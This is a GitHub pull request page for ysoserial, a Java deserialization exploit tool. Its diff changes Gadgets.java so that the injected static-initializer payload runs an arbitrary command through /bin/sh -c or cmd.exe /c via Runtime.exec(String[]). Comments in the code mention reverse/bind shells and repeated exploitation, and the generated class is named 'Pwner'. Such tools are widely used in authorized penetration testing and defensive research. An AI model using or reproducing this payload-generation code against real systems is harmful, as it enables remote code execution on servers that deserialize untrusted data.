Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Runtime.exec(String) upgraded to Runtime.exec(String[]) #129

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
30 changes: 22 additions & 8 deletions src/main/java/ysoserial/payloads/util/Gadgets.java
Original file line number Diff line number Diff line change
Expand Up @@ -12,11 +12,6 @@
import java.util.HashMap;
import java.util.Map;

import com.nqzero.permit.Permit;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
Expand All @@ -25,6 +20,10 @@
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;


/*
* utility generator functions for common jdk-only gadgets
Expand Down Expand Up @@ -114,9 +113,24 @@ public static <T> T createTemplatesImpl ( final String command, Class<T> tplClas
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";

String cmd = " String executor = \"/bin/sh\";\n" +
" String param = \"-c\";\n" +
" if (System.getProperty(\"os.name\").toLowerCase().contains(\"win\")) {\n" +
" executor = \"cmd.exe\";\n" +
" param = \"/c\";\n" +
" }\n" +
" \n" +
" try {\n" +
" String[] args = new String[3];\n" +
" args[0] = executor;\n" +
" args[1] = param;\n" +
" args[2] = \"" + command.replaceAll("\"", "\\\\\\\"") + "\";\n" +
" java.lang.Runtime.getRuntime().exec(args);\n" +
" } catch(Exception e) {\n" +
" e.printStackTrace();\n" +
" }";

clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
Expand Down